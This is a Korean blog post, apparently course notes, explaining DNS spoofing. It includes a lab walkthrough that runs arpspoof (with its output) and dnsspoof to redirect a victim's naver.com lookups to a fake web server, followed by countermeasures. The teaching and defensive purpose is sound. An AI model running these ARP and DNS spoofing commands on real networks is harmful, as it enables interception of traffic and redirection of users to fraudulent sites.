본문 바로가기
인프라 7기/네트워크 보안 공격 기법

스푸핑 Spoofing [DNS 스푸핑]

by 킹버거 2023. 5. 11.

안녕하세요! 바쁘다 바빠 현대 사회예요! 

저 너무 힘들어요. 힘들다고요. 이제는 쿼카 사진으로도 힐링이 되지 않는 지경에 이르렀어요.

그래도 여러분은 힘내셔야 해요......

우리 모두 파이팅 ! ! ! 


DNS query와 접속

 

1. Client는 접속하고자 하는 서버의 IP정보를 DNS 서버에게 질의한다. 
2. DNS 서버는 Client에게 요청된 도메인명에 대한 IP 주소를 알려준다.
3. Client는 DNS서버의 응답을 근거로 해당 IP 시스템에 접속한다.
* DNS정보는 전달 순서에 따라 쓰이며 나중에 전달된 정보는 무시한다. // 해당 특징을 이용하여 DNS 스푸핑을 수행한다.


DNS(Domain Name System)  스푸핑

- 웹 스푸핑과 비슷한 의미로 이해되기도 한다.

- 네이버에 접속하고자 'www.naver.com'이란 주소를 주소창에 입력했는데 엉뚱한 사이트로 연결
- 이런 경우는 DNS 서버의 오류로 인해 생길 수도 있지만, DNS 스푸핑과 같은 공격으로도 이루어진다.

 

DNS 스푸핑 원리 

  • 공격자는 로컬에 존재해야 하며 이로 인해 원격지의 DNS 서버보다 물리적으로 가까이 위치한다. 따라서 DNS 서버가 올바른 DNS response 패킷을 보내주기 전에 클라이언트에게 위조된 DNS response 패킷을 보낼 수 있다.
  • 클라이언트는 공격자가 보낸 DNS response 패킷을 올바른 패킷으로 인식하고,웹에 접속한다. 물리적으로 멀리 떨어져 있는 DNS 서버가 보낸 DNS response 패킷은 나중에 도착하기 때문에 버려진다.
  • 클라이언트가 DNS 서버로 DNS query 패킷을 보내는 것을 확인할수 있어야 하고. 스위칭 환경일 경우에는 클라이언트가 DNS query 패킷을 보내면 이를 받아야 하므로 arp 스푸핑과 같은 선행 작업이 필요하다. 

DNS 스푸핑

DNS 스푸핑 실습 개요 

 

공격자: IP[192.168.11.36], MAC[00:0c:29:7a:aa:97]

위조 웹서버: IP[192.168.11.17], MAC[00:0c:29:4d:de:50]

공격대상자: IP[192.168.11.7], MAC[00:0c:29:b5:6b:7f]

 

1. 위조 웹서버를 192.168.11.17에 설치한다.

2. WindowsXP 클라이언트에서 192.168.11.17에 접속되는지 확인한다.

3. /etc/dsniff/dnsspoof.hosts. 파일을 공격에 맞게 수정한다.

// kali에서는 /usr/share/dsniff/dnsspoof.hosts

4. arpspoof를 이용하여 클라이언트의 게이트웨이 H/W 주소를 공격 시스템의 H/W 주소로 변경한다.

5. dnsspoof를 이용하여 dnsspoofing을 시작한다.

6. WindowsXP 클라이언트에서 웹접속을 시도한다. 


# /etc/dsniff/dnsspoof.hosts 설정

• DNS spoofing 설정을 저장한다.
• [IP]   [도메인명]
• 도메인 명에는 *(와일드 카드)로 기술할 수 있다.

공격대상자인 WindowsXP에서 네이버에 접속하려고 하면 위조 웹서버(192.168.11.17)로 접속되게끔 설정한 것이다.

 

# arpspoof를 이용 arp spoofing 공격 수행

- 패킷 릴레이 기능은 수행하지 못한다.

 

# arpspoof  ‐t  192.168.11.7  192.168.11.1

- 공격자가 '11.7이 11.1로 보내는 패킷'을 가로채기 위해 11.1의 MAC주소가 자신의  MAC 주소라고 속이는 명령 

arpspoof -t 192.168.11.7 192.168.11.1
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97
0:c:29:7a:aa:97 0:c:29:b5:6b:7f 0806 42: arp reply 192.168.11.1 is-at 0:c:29:7a:aa:97

* fragrouter로 공격자가 가로챈 패킷을 원래 목적지로 포워딩해준다.

(즉, 공격자가 11.7에서 11.1로 가는 패킷을 가로챈 후 재전송하는 것이다.)

 

* WindowsXP에서 11.1의 MAC 주소 매핑 정보를 확인한다.

(ping을 하는 이유: 게이트웨이의 ARP 정보를 얻어오기 위함이다.)

해당 MAC 주소는 게이트웨이가 아닌 공격자의 MAC 주소이다.

ARP 스푸핑 공격이 성공적으로 이루어진 것이다.

 

# dnsspoof를 이용 DNS 스푸핑 공격 수행

# dnsspoof ‐i eth0 ‐f  /etc/dsniff/dnsspoof.hosts

* 공격대상 시스템에서 웹 접속을 시도한다. ('www.naver.com'을 검색한다.)

* 공격 대상 시스템에서 nslookup 명령을 통해 공격 여부를 확인한다.


[참고]

* DNS 정보는 캐시된다.

C:\ ipconfig /flushdns : 캐시된 DNS 정보 제거

C:\ ipconfig /displaydns : 캐시된 DNS 정보 확인

 

* 정상 DNS 응답이 공격자 DNS응답보다 빠르면 공격은 실패한다.
- 시스템 환경에 따라 다를 수 있다.


DNS 스푸핑에 대한 보안 대책

1. 원격지의 DNS서버를 이용하지 않고 반드시 로컬 DNS 서버를 이용한다.

원격지 DNS 서버는 멀리 있기 때문에 공격자의 DNS 응답보다 대부분 느리기 때문에 공격 당하기 쉽다.

2. DNS 서버의 게이트웨이 mac 주소를 고정(정적) 방식으로 할당한다.
3. 운영중인 DNS 서버의 버전을 최신으로 유지한다.
4. 2차 DNS 서버보다는 정적으로 등록된 캐시 DNS 서버를 운영한다.
5. 가능한 클라이언트의 IP를 동적으로 할당한다.